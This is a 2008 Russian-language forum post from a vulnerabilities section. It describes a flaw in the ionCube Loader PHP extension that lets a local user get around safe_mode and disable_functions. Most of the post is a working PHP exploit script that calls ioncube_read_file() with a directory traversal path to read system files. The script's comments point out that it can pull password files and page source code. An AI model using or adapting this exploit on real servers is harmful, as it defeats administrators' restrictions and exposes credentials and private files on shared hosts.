PHP 5.2.4 ionCube extension safe_mode / disable_functions Bypass

Discussion in 'Уязвимости' started by PandoraBox, 22 Jun 2008.

  1. PandoraBox

    PandoraBox Elder - Старейшина

    Joined:
    6 May 2007
    Messages:
    262
    Likes Received:
    176
    Reputations:
    7
    Программа: ionCube Loaders 3.1.32 for Windows (x86) с PHP 5.2.4, возможно более ранние версии
    Версия: ionCube Loaders 3.1.32
    Дата: 12.10.2007
    Опасность: Низкая
    Цель: PHP 5.2.4 ionCube extension
    Воздействие: Обход ограничений безопасности
    Наличие эксплоита: Да

    Описание:
    Уязвимость позволяет локальному пользователю обойти некоторые ограничения безопасности.

    Уязвимость существует из-за того, что приложение некорректно проверяет ограничения для функции "ioncube_read_file()", установленные PHP посредством директивы "disable_functions". Локальный пользователь может вызвать функцию "ioncube_read_file()" и просмотреть содержимое произвольных файлов на системе.

    http://www.securitylab.ru/poc/304669.php

    ionCube-expl.php
    Code:
    <?php
    //PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
    
    //author: shinnai
    //mail: shinnai[at]autistici[dot]org
    //site: http://shinnai.altervista.org
    
    //Tested on xp Pro sp2 full patched, worked both from the cli and on apache
    
    //Technical details:
    //ionCube version: 6.5
    //extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
    //url: www.ioncube.com
    
    //php.ini settings:
    //safe_mode = On
    //disable_functions = ioncube_read_file, readfile
    
    //Description:
    //This is useful to obtain juicy informations but also to retrieve source
    //code of php pages, password files, etc... you just need to change file path.
    //Anyway, don't worry, nobody will read your obfuscated code :)
    
    //greetz to: BlackLight for help me to understand better PHP
    
    //P.S.
    //This extension contains even an interesting ioncube_write_file function...
    
    if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
    
    $path = str_repeat("..\\", 20);
    
    $MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
    
    $MyBoot_ioncube = ioncube_read_file($path."boot.ini");
    
    echo $MyBoot_readfile;
    
    echo "<br><br>ionCube output:<br><br>";
    
    echo $MyBoot_ioncube;
    ?>
     
    #1 PandoraBox, 22 Jun 2008
    Last edited: 22 Jun 2008
    1 person likes this.
Loading...
Similar Threads - ionCube extension safe_mode
  1. ettee
    Replies:
    13
    Views:
    18,210
  2. p-range
    Replies:
    9
    Views:
    5,529
  3. NFM
    Replies:
    0
    Views:
    2,069